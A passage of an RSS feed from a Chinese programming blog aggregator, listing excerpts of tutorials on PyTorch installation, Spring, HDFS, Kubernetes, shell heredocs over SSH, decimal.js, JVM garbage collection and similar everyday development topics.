与第二步同理，确定torchaudio的版本为0.10.2&#xA;进入torchaudio&#xA;找到下载的文件。&#xA;点击下载即可。&#xA;四、在anaconda中安装对应whl文件 将三个文件放到一个文件夹下。如D:/pytorch_whl&#xA;在anaconda prompt中激活或创建一个虚拟环境&#xA;依次安装三个whl文件。注意文件的绝对路径。以刚才的安装路径D:\pytorch_whl 为例，依次按下面顺序输入&#xA;pip install D:\pytorch_whl\torch-1.10.1+cu102-cp37-cp37m-win_amd64.whl pip install D:\pytorch_whl\torchaudio-0.10.1+cu102-cp37-cp37m-win_amd64.whl pip install D:\pytorch_whl\torchvision-0.11.2+cu102-cp37-cp37m-win_amd64.whl 解析：pip install 绝对路径\文件名&#xA;等待安装完成即可。&#xA;五、测试安装成功 在虚拟环境下打开python，进入python编程环境后输入import torch 回车后输入torch.cuda.is_available()。如果返回True则安装成功。&#xA;有问题可以查看本人的其他文章，如虚拟环境的创建等。&#xA;或者评论询问。&#xA;谢谢!!! </description>
    </item>
    <item>
      <title>java – 设置构造函数参数时无法解析对bean’entalManagerFactory’的引用；</title>
      <link>https://bchobby.github.io/posts/6547ee1d544a20ab884afe61bd93507c/</link>
      <pubDate>Tue, 26 Sep 2023 11:05:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6547ee1d544a20ab884afe61bd93507c/</guid>
      <description>​​​​​​我在我的代码中收到此错误.&#xA;org.springframework.beans.factory.BeanCreationException: Error&#xA;creating bean with name ‘roleRepository’: Cannot create inner bean&#xA;‘(inner bean)#7540dc57’ of type&#xA;[org.springframework.orm.jpa.SharedEntityManagerCreator] while setting&#xA;bean property ‘entityManager’; nested exception is&#xA;org.springframework.beans.factory.BeanCreationException: Error&#xA;creating bean with name ‘(inner bean)#7540dc57’: Cannot resolve&#xA;reference to bean ‘entityManagerFactory’ while setting constructor&#xA;argument; nested exception is&#xA;org.springframework.beans.factory.NoSuchBeanDefinitionException: No&#xA;bean named ‘entityManagerFactory’ available&#xA;我看到了这些：&#xA;Cannot resolve reference to bean ‘entityManagerFactory’ while setting constructor argument&#xA;NoSuchBeanDefinitionException: No bean named ‘entityManagerFactory’ available</description>
    </item>
    <item>
      <title>HDFS HA 模式namenode1无法启动，JournalNode报错</title>
      <link>https://bchobby.github.io/posts/5c0ec32b480595d4751ab53d5677343a/</link>
      <pubDate>Tue, 26 Sep 2023 10:13:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c0ec32b480595d4751ab53d5677343a/</guid>
      <description>一、问题描述&#xA;数据突然写不进去，重启hdfs发现datasophon01节点namenode掉线&#xA;grep “ERROR” xxx.log 查看日志报错&#xA;1.1 查看datasophon01 节点namenode报错&#xA;通过报错发现 JournalNode 有问题&#xA;1.2 查看 JournalNode 节点&#xA;报错日志&#xA;JournalNode 原理&#xA;为了保证 Active 节点和 Standby 节点，即可以可靠的保持数据的一致性，又不会影响集群的可用性，HDFS 在 Active 节点和 Standby 节点之间引入了另外一个节点 JournalNode 节点。 JournalNode 节点作为 Active 节点和 Standby 节点的中间节点，它为两个节点解决了数据的同步的问题。首先 Active 节点会将元数据发送给 JournalNode 节点，然后 Standby 节点会从 JournalNode 节点获取需要同步的元数据。即使 Standby 节点故障了、产生问题了，在它恢复正常状态后，也可以从 JournalNode 节点中同步相应的数据。这就要求 JournalNode 节点需要有持久化的功能来保证元数据不丢。 但是，问题又来了，JournalNode 节点如果挂掉又怎么办？那么这就对 JournalNode 节点提出了新的要求，它需要保证自己的可靠性，才能保证为 Standby 节点提供数据。因此 JournalNode 节点本身也是一个多节点的集群，从而保证它自身的可靠性。而且 JournalNode 节点会在集群自动的选择一个&#34;主&#34;节点出来，Active 节点会和 JournalNode 的主节点通信，然后 JournalNode 集群的主节点会将数据发送给其他的节点，只要有过半的节点完成了数据的存储，JournalNode 集群的主节点，就会将成功信息返回给 Active 节点。当 JournalNode 集群的主节点挂掉，其他的 JournalNode 节点会快速选举出新的&#34;</description>
    </item>
    <item>
      <title>ForkAndJoin-＞RecursiveTask</title>
      <link>https://bchobby.github.io/posts/58011ff0463c2426197a20be6bc9089c/</link>
      <pubDate>Tue, 26 Sep 2023 10:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58011ff0463c2426197a20be6bc9089c/</guid>
      <description>一、用途 Java 7开始引入了一种新的Fork/Join线程池，它可以执行一种特殊的任务：把一个大任务拆成多个小任务并行执行。Java7引入了Fork/Join框架，我们通过RecursiveTask这个类就可以方便地实现Fork/Join模式。&#xA;我们举个例子：如果要计算一个超大数组的和，最简单的做法是用一个循环在一个线程内完成：&#xA;┌─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┐ └─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┘ 还有一种方法，可以把数组拆成两部分，分别计算，最后加起来就是最终结果，这样可以用两个线程并行执行：&#xA;┌─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┐ └─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┘ ┌─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┐ └─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┘ 如果拆成两部分还是很大，我们还可以继续拆，用4个线程并行执行：&#xA;┌─┬─┬─┬─┬─┬─┐ └─┴─┴─┴─┴─┴─┘ ┌─┬─┬─┬─┬─┬─┐ └─┴─┴─┴─┴─┴─┘ ┌─┬─┬─┬─┬─┬─┐ └─┴─┴─┴─┴─┴─┘ ┌─┬─┬─┬─┬─┬─┐ └─┴─┴─┴─┴─┴─┘ 二、实例代码 例如，对一个大数组进行并行求和的RecursiveTask，就可以这样编写：&#xA;class SumTask extends RecursiveTask&amp;lt;Long&amp;gt; { static final int THRESHOLD = 100; long[] array; int start; int end; SumTask(long[] array, int start, int end) { this.array = array; this.start = start; this.end = end; } @Override protected Long compute() { if (end - start &amp;lt;= THRESHOLD) { // 如果任务足够小,直接计算: long sum = 0; for (int i = start; i &amp;lt; end; i++) { sum += array[i]; } try { Thread.</description>
    </item>
    <item>
      <title>基于opencv与pyqt5的人脸检测照相机</title>
      <link>https://bchobby.github.io/posts/ebf5ce84a8fb1f86990391328549caf4/</link>
      <pubDate>Tue, 26 Sep 2023 07:56:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebf5ce84a8fb1f86990391328549caf4/</guid>
      <description>基于opencv与pyqt5的人脸检测照相机&#xA;先放代码&#xA;import sys import cv2 from PyQt5.QtCore import QTimer, Qt, QDateTime from PyQt5.QtGui import QImage, QPixmap from PyQt5.QtWidgets import QApplication, QLabel, QVBoxLayout, QWidget, QPushButton, QMessageBox class CameraWidget(QWidget): def __init__(self): super().__init__() self.camera = cv2.VideoCapture(0) # 打开摄像头 self.image_label = QLabel(self) # 显示图像的Label layout = QVBoxLayout(self) layout.addWidget(self.image_label) self.timer = QTimer() # 定时器，用于不断读取图像 self.timer.timeout.connect(self.update_frame) self.start_button = QPushButton(&#39;开始摄像头&#39;, self) # 开始摄像头按钮 self.start_button.clicked.connect(self.start_camera) layout.addWidget(self.start_button) self.pause_button = QPushButton(&#39;暂停摄像头&#39;, self) # 暂停摄像头按钮 self.pause_button.clicked.connect(self.pause_camera) layout.addWidget(self.pause_button) self.capture_button = QPushButton(&#39;拍照&#39;, self) # 拍照按钮 self.</description>
    </item>
    <item>
      <title>【k8s】核心概念篇</title>
      <link>https://bchobby.github.io/posts/c2460fb35b79551a48e059923ee812e3/</link>
      <pubDate>Tue, 26 Sep 2023 06:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2460fb35b79551a48e059923ee812e3/</guid>
      <description>文章目录 应用部署方式演变容器编排问题k8s简介k8s组件master节点node节点附加组件组件之间调用流 架构图核心概念服务的分类(无状态&amp;amp;有状态)专业术语 应用部署方式演变 在部署应用程序的方式上，主要经历了三个时代：传统部署 -&amp;gt; 虚拟化部署 -&amp;gt; 容器化部署&#xA;传统部署：互联网早期，会直接将应用程序部署在物理机上&#xA;优点：简单，不需要其它技术的参与&#xA;缺点：不能为应用程序定义资源使用边界，很难合理地分配计算资源，而且程序之间容易产生影响&#xA;虚拟化部署：可以在一台物理机上运行多个虚拟机，每个虚拟机都是独立的一个环境&#xA;优点：程序环境不会相互产生影响，提供了一定程度的安全性&#xA;缺点：增加了操作系统，浪费了部分资源&#xA;容器化部署：与虚拟化类似，但是共享了操作系统&#xA;优点：&#xA;可以保证每个容器拥有自己的文件系统、CPU、内存、进程空间等&#xA;运行应用程序所需要的资源都被容器包装，并和底层基础架构解耦&#xA;容器化的应用程序可以跨云服务商、跨Linux操作系统发行版进行部署&#xA;容器编排问题 一个容器故障停机了，怎么样让另外一个容器立刻启动去替补停机的容器&#xA;当并发访问量变大的时候，怎么样做到横向扩展容器数量&#xA;Swarm：Docker自己的容器编排工具，适合中小型项目Mesos：Apache的一个资源统一管控的工具，需要和Marathon结合使用，早于docker，支持5w+节点的控制Kubernetes：Google开源的的容器编排工具 k8s简介 kubernetes，是一个全新的基于容器技术的分布式架构领先方案，是谷歌严格保密十几年的秘密武器----Borg系统的一个开源版本，于2014年9月发布第一个版本，2015年7月发布第一个正式版本。&#xA;kubernetes的本质是一组服务器集群，它可以在集群的每个节点上运行特定的程序，来对节点中的容器进行管理。目的是实现资源管理的自动化，主要提供了如下的主要功能：&#xA;自我修复：一旦某一个容器崩溃，能够在1秒中左右迅速启动新的容器弹性伸缩：可以根据需要，自动对集群中正在运行的容器数量进行调整服务发现：服务可以通过自动发现的形式找到它所依赖的服务负载均衡：如果一个服务起动了多个容器，能够自动实现请求的负载均衡版本回退：如果发现新发布的程序版本有问题，可以立即回退到原来的版本存储编排：可以根据容器自身的需求自动创建存储卷 k8s组件 master节点 集群的控制平面，负责集群的决策(管理)。&#xA;ApiServer : 资源操作的唯一入口，接收用户输入的命令，提供认证、授权、API注册和发现等机制Scheduler : 负责集群资源调度，按照预定的调度策略将Pod调度到相应的node节点上ControllerManager : 负责维护集群的状态，比如程序部署安排、故障检测、自动扩展、滚动更新等Etcd ：负责存储集群中各种资源对象的信息 node节点 集群的数据平面，负责为容器提供运行环境(干活的)&#xA;Kubelet : 负责维护容器的生命周期，即通过控制docker，来创建、更新、销毁容器KubeProxy : 负责提供集群内部的服务发现和负载均衡Docker : 负责节点上容器的各种操作 附加组件 kube-dns：负责为整个集群提供 DNS 服务Ingress Controller：为服务提供外网入口Prometheus：提供资源监控Dashboard：提供 GUIFederation：提供跨可用区的集群Fluentd-elasticsearch：提供集群日志采集、存储与查询 组件之间调用流 以部署一台nginx为例进行说明&#xA;首先明确一点：一旦k8s启动之后，master和node都会将自身的数据存储在etcd数据库中&#xA;一个nginx服务的安装请求，首先会被发送到master节点的apiserver组件上&#xA;apiserver组件调用scheduler组件去决定到底将服务安装在哪个node节点上&#xA;在此时，它会从etcd中读取node节点的信息，然后按照一定的算法进行选择，并将结果告知apiserver)&#xA;apiserver调用controller-manager去调度node节点安装nginx服务&#xA;kubelet接收到指令之后，会通知docker，然后由docker来启动nginx的pod&#xA;pod：k8s的最小操作单元，容器必须跑在pod中&#xA;到这里，一个nginx服务就运行成功了&#xA;架构图 核心概念 服务的分类(无状态&amp;amp;有状态) 无状态 -&amp;gt; 不依赖本地服务器环境</description>
    </item>
    <item>
      <title>IDEA中配置gradle加速</title>
      <link>https://bchobby.github.io/posts/2eefcd9b996f2254e8253642c957f500/</link>
      <pubDate>Mon, 25 Sep 2023 23:10:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2eefcd9b996f2254e8253642c957f500/</guid>
      <description>文章目录 一、IDEA配置如下二、配置阿里镜像加速2.1 创建init.gradle文件 三、重启IDEA 一、IDEA配置如下 二、配置阿里镜像加速 2.1 创建init.gradle文件 init.gradle 配置如下：&#xA;allprojects { repositories { mavenLocal() maven { allowInsecureProtocol true url &#39;https://maven.aliyun.com/nexus/content/repositories/central/&#39; } } } 三、重启IDEA 可以看到gradle已经配置加速成功了</description>
    </item>
    <item>
      <title>Java项目：276SSM的仓库管理系统</title>
      <link>https://bchobby.github.io/posts/b33c2690f2e2c50c8e1bd034a5450f90/</link>
      <pubDate>Mon, 25 Sep 2023 22:18:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b33c2690f2e2c50c8e1bd034a5450f90/</guid>
      <description>项目介绍 基于SSM的仓库管理系统设计与实现&#xA;角色：管理员、员工&#xA;管理员：管理员登录系统后，可以对个人中心、员工管理、厂商信息管理、司机信息管理、门店信息管理、仓库信息管理、货物信息管理、货物入库管理、货物出库管理等功能&#xA;员工：员工登录到仓库管理系统后，可以对个人中心、厂商信息管理、司机信息管理、门店信息管理、仓库信息管理、货物信息管理、货物入库管理、货物出库管理等功能&#xA;由于本程序规模不大，可供课程设计，毕业设计学习演示之用&#xA;环境需要 1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;技术栈 后端：SSM(Spring+SpringMVC+Mybatis)&#xA;前端：JSP+CSS+JS+JQUERY+Layui&#xA;使用说明 1. 使用Navicat或者其它工具，在mysql中创建对应名称的数据库，并导入项目的sql文件；&#xA;2. 使用IDEA/Eclipse/MyEclipse导入项目，修改配置，运行项目；&#xA;3. 将项目中db.xml配置文件中的数据库配置改为自己的配置，然后运行；&#xA;运行截图 相关代码 ConfigController&#xA;package com.controller; import java.util.Arrays; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import com.annotation.IgnoreAuth; import com.baomidou.mybatisplus.mapper.EntityWrapper; import com.entity.ConfigEntity; import com.service.ConfigService; import com.utils.PageUtils; import com.utils.R; import com.utils.ValidatorUtils; /** * 登录相关 */ @RequestMapping(&#34;</description>
    </item>
    <item>
      <title>SpringCloudAlibaba项目框架搭建详细过程</title>
      <link>https://bchobby.github.io/posts/a819eaebfc9d94a596211c5feaa9d85b/</link>
      <pubDate>Mon, 25 Sep 2023 16:16:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a819eaebfc9d94a596211c5feaa9d85b/</guid>
      <description> 一、安装Alibaba Cloud Toolkit 插件： 二、创建SpringCloudAlibaba父项目及子模块命名： 1、项目名称：QKWL-SpringCloudAlibaba 2、子模块名称：qkwl-nacos 3、子模块名称：seata-account 4、子模块名称：seata-order 5、子模块名称：seata-stock 6、子模块名称：seata-business 三、SpringCloudAlibaba及子组件推荐版本： SpringCloudAlibabaVersion: 2021.0.5.0* SpringCloudVersion: SpringCloud 2021.0.5 SpringBootVersion: 2.6.13 NacosVersion:2.2.0 SentinelVersion:1.8.6 RocketMQVersion:4.9.4 DubboVersion: - SeataVersion: 1.6.1 四、SpringCloudAlibaba项目环境搭建： 1、创建父项目，名称：QKWL-SpringCloudAlibaba 2、子模块名称：qkwl-nacos 3、子模块名称：seata-account 移动子模块seata-account到alibaba-cloud文件夹中； 主模块pom.xml中添加子模块seata-account； 4、子模块名称：seata-order 移动子模块seata-order到alibaba-cloud文件夹中； 主模块pom.xml中添加子模块seata-order； 5、子模块名称：seata-stock 移动子模块seata-stock到alibaba-cloud文件夹中； 主模块pom.xml中添加子模块seata-stock； 6、子模块名称：seata-business 移动子模块seata-business到alibaba-cloud文件夹中； 主模块pom.xml中添加子模块seata-business； 7、所有模块pom.xml中添加 springboot、springcloud 、springcloudalibaba 版本号（参考版本对照表） &amp;lt;properties&amp;gt; &amp;lt;spring-cloud-alibaba.version&amp;gt;2021.0.5.0&amp;lt;/spring-cloud-alibaba.version&amp;gt; &amp;lt;spring-cloud.version&amp;gt;2021.0.5&amp;lt;/spring-cloud.version&amp;gt; &amp;lt;spring-boot.version&amp;gt;2.6.13&amp;lt;/spring-boot.version&amp;gt; &amp;lt;/properties&amp;gt; 8、各个模块运行情况 </description>
    </item>
    <item>
      <title>shell远程执行命令无法将命令结果给变量赋值问题</title>
      <link>https://bchobby.github.io/posts/5a700cd45d7cd706d0a3409fcd9304cd/</link>
      <pubDate>Mon, 25 Sep 2023 15:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a700cd45d7cd706d0a3409fcd9304cd/</guid>
      <description>远程执行命令，使用 “&amp;lt;&amp;lt;EOF” 的方式叫做 Heredoc，如果内部使用了变量，实际上是在本地shell做了替换，再提交到远程shell执行！ 关于HereDoc：https://linuxize.com/post/bash-heredoc/#using-heredoc-with-ssh&#xA;使用无引号分隔符时，请确保转义所有变量、命令和特殊字符，否则将在本地进行插值！&#xA;$变量，默认是提前在本地shell替换。$(命令)，默认是提前在本地shell执行。&#xA;比如，在 node1(192.168.0.1) 执行如下命令：&#xA;ssh -q root@node2 &amp;lt;&amp;lt;EOF echo $HOSTNAME log=$(hostname -I) echo $log EOF 实际上 node2(192.168.0.2) 执行的命令为：&#xA;echo node1 log=192.168.0.1 #如果命令返回带有空格，这里还会报错“命令不存在”，让人摸不着头脑 echo 可以看到，node2执行的命令都是被提前执行。&#xA;解决：避免替换变量和执行命令，进行转义。 方式一：将 ‘$’ 改成 ‘\$’&#xA;上述代码改成：&#xA;ssh -q root@node2 &amp;lt;&amp;lt;EOF echo $HOSTNAME log=\$(hostname -I) #注意前缀 echo \$log #注意前缀 EOF 实际node2执行的命令为：&#xA;echo node1 log=$(hostname -I) #在node2才执行 hostname -I echo $log #在node2才打印变量 方式二：将 EOF 改成 ‘EOF’，相当于全局禁用变量替换和命令执行！&#xA;ssh -q root@node2 &amp;lt;&amp;lt;&#39;EOF&#39; echo $HOSTNAME log=$(hostname -I) echo $log EOF 实际node2执行的命令为：</description>
    </item>
    <item>
      <title>写作干货 | 论文中的Introduction部分主要写什么内容？</title>
      <link>https://bchobby.github.io/posts/c91fb3a4671fd0290566592ec133317a/</link>
      <pubDate>Mon, 25 Sep 2023 15:08:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c91fb3a4671fd0290566592ec133317a/</guid>
      <description>来源：科学指南针服务平台&#xA;编辑：研路科研人Sci&#xA;“研路漫漫，伴你同行”&#xA;Introduction是对Abstract的扩展，详细介绍这篇论文的领域背景和面临的困难，告诉读者这篇论文解决了什么，有什么样的科研结果。一般审稿人看到这里就可以判断出论文的总体质量如何，是否满足期刊的要求。在一定程度上，前言的质量也决定了读者是否会产生进一步阅读论文的兴趣。&#xA;小编今天就从重要性、内容结构、句式干货分享、常见误区四个方面来给大家总结干货，小伙伴们抓紧收藏呀！&#xA;在Introduction中，你必须告诉读者以下这些问题&#xA;我的研究主题是什么？&#xA;解释你为什么要研究这个主题，让读者进入你的逻辑体系之中。&#xA;在我做这项研究之前，现有学者对这个主题的了解有多少？&#xA;这项研究将产出什么样的创新或者将以什么样的创新方式进行研究？&#xA;Introduction三段式结构&#xA;Background（研究领域大范围，大背景介绍）&#xA;用简洁的语句给出研究背景，引导读者了解和主题相关的背景信息。从总体到局部，从现实问题到科学问题，逐步细化说明，进而提出存在的问题，找到切入点，定位你的研究主题。&#xA;注意：1. 用现实数据说明，2. 活用逻辑关联词&#xA;Literature review（研究领域细化及未知领域空白介绍）&#xA;1.说明研究现状：通过说明别人的研究成果，引出当前研究的不足、研究正确性的质疑与验证、当前研究的补充。&#xA;2.引出研究主题：如何填补上述技术的不足、或者功能和机制等有待进一步的探索和发现。&#xA;l In this paper （提出本文的研究主题，总结研究意义和重要性）&#xA;使用xx技术，xx方法，做了xx实验，可以概述关键成果，关键数据（针对上面提出的不足或者空白给出解决方案，这是审稿人和读者的关注点），并总结本文的创新点和意义。&#xA;introduction常用句式，可参考&#xA;一、用来引出自己研究重要性和创新性以及前人研究的不足之处。&#xA;Their studies may be more reasonable if they had ... considered this situation.&#xA;Their results could be better convinced if they...&#xA;Their conclusion may remain some uncertainties&#xA;二、当研究方法和方向与前人一样时，用来强调自己的工作。&#xA;However, data is still scarce/rare/less accurate,we need to/aim to/have to provide more documents/data/records/studies/increase the dataset.</description>
    </item>
    <item>
      <title>js之加减乘除精度问题</title>
      <link>https://bchobby.github.io/posts/c45392b8fafd1d11a57f7711ea4b7ebf/</link>
      <pubDate>Mon, 25 Sep 2023 14:45:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c45392b8fafd1d11a57f7711ea4b7ebf/</guid>
      <description>场景：在计算金额时对于精度要求比较高，所以需要考虑精度问题 例子：&#xA;const m = 1.11; const n = 100; //直接进行乘法： console.log(m*n) //111.00000000000001 解决方案：&#xA;使用decimal.js&#xA;decimal.js是使用的二进制来计算的，所以可以更好地实现格化式数学运算，对数字进行高精度处理；使用decimal类型处理数据可以保证数据计算更为精确，还可以节省储存空间。&#xA;实现步骤：&#xA;下载依赖：&#xA;$ npm install --save decimal.js import { Decimal } from &#39;decimal.js&#39; 使用：&#xA;const m = 1.11; const n= 100; // 加法 let add = new Decimal(m).add(new Decimal(b)) // 减法 let sub = new Decimal(m).sub(new Decimal(n)) // 乘法 let mul = new Decimal(m).mul(new Decimal(n)) console.log(mul.toNumber()) // 111 // 除法 let div = new Decimal(m).</description>
    </item>
    <item>
      <title>教你如何使用API接口获取数据！</title>
      <link>https://bchobby.github.io/posts/eb5396f7f756757734595ad044052419/</link>
      <pubDate>Mon, 25 Sep 2023 14:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb5396f7f756757734595ad044052419/</guid>
      <description>使用API接口获取数据的过程通常涉及到几个步骤，包括了解API、注册获取API密钥、编写代码调用API并处理返回的数据。下面是一个详细的教程。&#xA;一、了解API API（Application Programming Interface）即应用程序编程接口，是一种使不同的应用程序能共享数据和功能的软件工具。API可以通过网络、软件或硬件实现。在网络环境中，API使得应用程序能够彼此交互。在软件或硬件中，API使得不同的组件能够互相操作。&#xA;在编写代码调用API之前，你需要了解API的工作方式。一般来说，你需要知道以下几个方面：&#xA;API的请求方法：常用的HTTP请求方法有GET、POST、PUT、DELETE等，不同的请求方法对应不同的操作。API的URL：这是你的代码将发送请求的地址。API的参数：一些API可能需要参数来完成特定的操作，例如，你可能需要提供一个特定的ID来获取某个特定的数据。API的返回数据：你需要知道API返回的数据的格式（如JSON、XML等）以及数据的含义。 二、注册获取API密钥 在使用一些需要认证的API时，你需要先进行注册并获取API密钥。API密钥一般在API提供者的网站上创建和管理。创建API密钥后，你需要在你的代码中使用这个密钥来进行身份验证。&#xA;三、编写代码调用API并处理返回的数据 下面是一个使用Python的requests库调用API的例子：&#xA;import requests # API地址和密钥 api_url = &#34;https://api.example.com/data&#34; api_key = &#34;your_api_key&#34; # 请求参数（例如筛选条件） params = { &#34;keywords&#34;: &#34;手机&#34;, &#34;category&#34;: &#34;electronics&#34; } # 发送GET请求获取数据 response = requests.get(api_url, params=params, headers={&#34;X-Api-Key&#34;: api_key}) # 解析JSON数据 data = response.json() 在这个例子中，我们使用requests库发送GET请求，并将API地址、请求参数和API密钥作为参数传递给请求函数。响应数据将以JSON格式返回，我们使用response.json()方法将其解析为Python字典。&#xA;需要注意的是，不同的API可能有不同的请求方法和参数，因此在使用具体的API时，你可能需要调整上述代码。另外，一些API可能需要额外的身份验证步骤，例如提供一个访问令牌（access token）。在这种情况下，你需要按照API提供者的要求进行操作。&#xA;四、异常处理 在调用API的过程中，可能会出现一些错误，如网络错误、超时或API返回的错误状态。为了程序的健壮性，我们需要进行异常处理。下面是使用Python的try-except语句进行异常处理的例子：&#xA;import requests from requests.exceptions import RequestException # API地址和密钥 api_url = &#34;https://api.example.com/data&#34; api_key = &#34;your_api_key&#34; # 请求参数（例如筛选条件） params = { &#34;keywords&#34;: &#34;</description>
    </item>
    <item>
      <title>JVM垃圾收集器</title>
      <link>https://bchobby.github.io/posts/a79cb0bc833c35e379d9ae2e9faac2d0/</link>
      <pubDate>Sun, 24 Sep 2023 23:24:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a79cb0bc833c35e379d9ae2e9faac2d0/</guid>
      <description>垃圾回收算法 分代收集理论 当前虚拟机的垃圾收集都采用分代收集算法，这种算法没有什么新的思想，只是根据对象存活周期的不同将内存分为几 块。一般将java堆分为新生代和老年代，这样我们就可以根据各个年代的特点选择合适的垃圾收集算法。 比如在 新生代 中，每次收集都会 有大量对象(近99%)死去 ，所以可以 选择复制算法 ，只需要付出少量对象的复制成本就可 以完成每次垃圾收集。而 老年代 的对象 存活几率是比较高 的，而且没有额外的空间对它进行分配担保，所以我们必须 选 择“标记-清除”或“标记-整理”算法 进行垃圾收集。注意，“标记-清除”或“标记-整理”算法会比复制算法慢10倍以上。 标记-复制算法 为了解决效率问题，“复制”收集算法出现了。它可以将内存分为大小相同的两块，每次使用其中的一块。当这一块的 内存使用完后，就将还存活的对象复制到另一块去，然后再把使用的空间一次清理掉。这样就使每次的内存回收都是对内存区间的一半进行回收。 标记-清除算法 算法分为 “标记”和“清除 ”阶段：标记存活的对象， 统一回收所有未被标记的对象(一般选择这种)；也可以反过来，标记出所有需要回收的对象，在标记完成后统一回收所有被标记的对象 。它是最基础的收集算法，比较简单，但是会带来两个明显的问题： 1. 效率问题 (如果需要标记的对象太多，效率不高) 2. 空间问题（标记清除后会产生大量不连续的碎片） 标记-整理算法 根据老年代的特点特出的一种标记算法，标记过程仍然与“标记-清除”算法一样，但后续步骤不是直接对可回收对象回收，而是让所有存活的对象向一端移动，然后直接清理掉端边界以外的内存。 垃圾收集器 如果说收集算法是内存回收的方法论，那么垃圾收集器就是内存回收的具体实现。&#xA;虽然我们对各个收集器进行比较，但并非为了挑选出一个最好的收集器。因为直到现在为止还没有最好的垃圾收集器出现，更加没有万能的垃圾收集器，我们能做的就是根据具体应用场景选择适合自己的垃圾收集器。试想一下：如果有一种四海之内、任何场景下都适用的完美收集器存在，那么我们的Java虚拟机就不会实现那么多不同的垃圾收集器了。&#xA;1.1 Serial收集器(-XX:+UseSerialGC -XX:+UseSerialOldGC) Serial（串行）收集器是最基本、历史最悠久的垃圾收集器了。大家看名字就知道这个收集器是一个单线程收集器了。它的 “单线程” 的意义不仅仅意味着它只会使用一条垃圾收集线程去完成垃圾收集工作，更重要的是它在进行垃圾收集工作的时候必须暂停其他所有的工作线程（ &#34;Stop The World&#34; ），直到它收集结束。&#xA;新生代采用复制算法，老年代采用标记-整理算法。&#xA;虚拟机的设计者们当然知道Stop The World带来的不良用户体验，所以在后续的垃圾收集器设计中停顿时间在不断缩短（仍然还有停顿，寻找最优秀的垃圾收集器的过程仍然在继续）。&#xA;但是Serial收集器有没有优于其他垃圾收集器的地方呢？当然有，它简单而高效（与其他收集器的单线程相比）。Serial收集器由于没有线程交互的开销，自然可以获得很高的单线程收集效率。&#xA;Serial Old收集器是Serial收集器的老年代版本，它同样是一个单线程收集器。它主要有两大用途：一种用途是在JDK1.5以及以前的版本中与Parallel Scavenge收集器搭配使用，另一种用途是作为CMS收集器的后备方案。&#xA;1.2 Parallel Scavenge收集器(-XX:+UseParallelGC(年轻代),-XX:+UseParallelOldGC(老年代)) Parallel收集器其实就是Serial收集器的多线程版本，除了使用多线程进行垃圾收集外，其余行为（控制参数、收集算法、回收策略等等）和Serial收集器类似。默认的收集线程数跟cpu核数相同，当然也可以用参数(-XX:ParallelGCThreads)指定收集线程数，但是一般不推荐修改。&#xA;Parallel Scavenge收集器关注点是吞吐量（高效率的利用CPU）。CMS等垃圾收集器的关注点更多的是用户线程的停顿时间（提高用户体验）。所谓吞吐量就是CPU中用于运行用户代码的时间与CPU总消耗时间的比值。 Parallel Scavenge收集器提供了很多参数供用户找到最合适的停顿时间或最大吞吐量，如果对于收集器运作不太了解的话，可以选择把内存管理优化交给虚拟机去完成也是一个不错的选择。&#xA;新生代采用复制算法，老年代采用标记-整理算法。&#xA;Parallel Old收集器是Parallel Scavenge收集器的老年代版本。使用多线程和“标记-整理”算法。在注重吞吐量以及CPU资源的场合，都可以优先考虑 Parallel Scavenge收集器和Parallel Old收集器(JDK8默认的新生代和老年代收集器)。</description>
    </item>
    <item>
      <title>idea2023自带的maven打包报错</title>
      <link>https://bchobby.github.io/posts/d0fb43ecba46de5fcf5a74e7977ec3fc/</link>
      <pubDate>Sun, 24 Sep 2023 22:17:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0fb43ecba46de5fcf5a74e7977ec3fc/</guid>
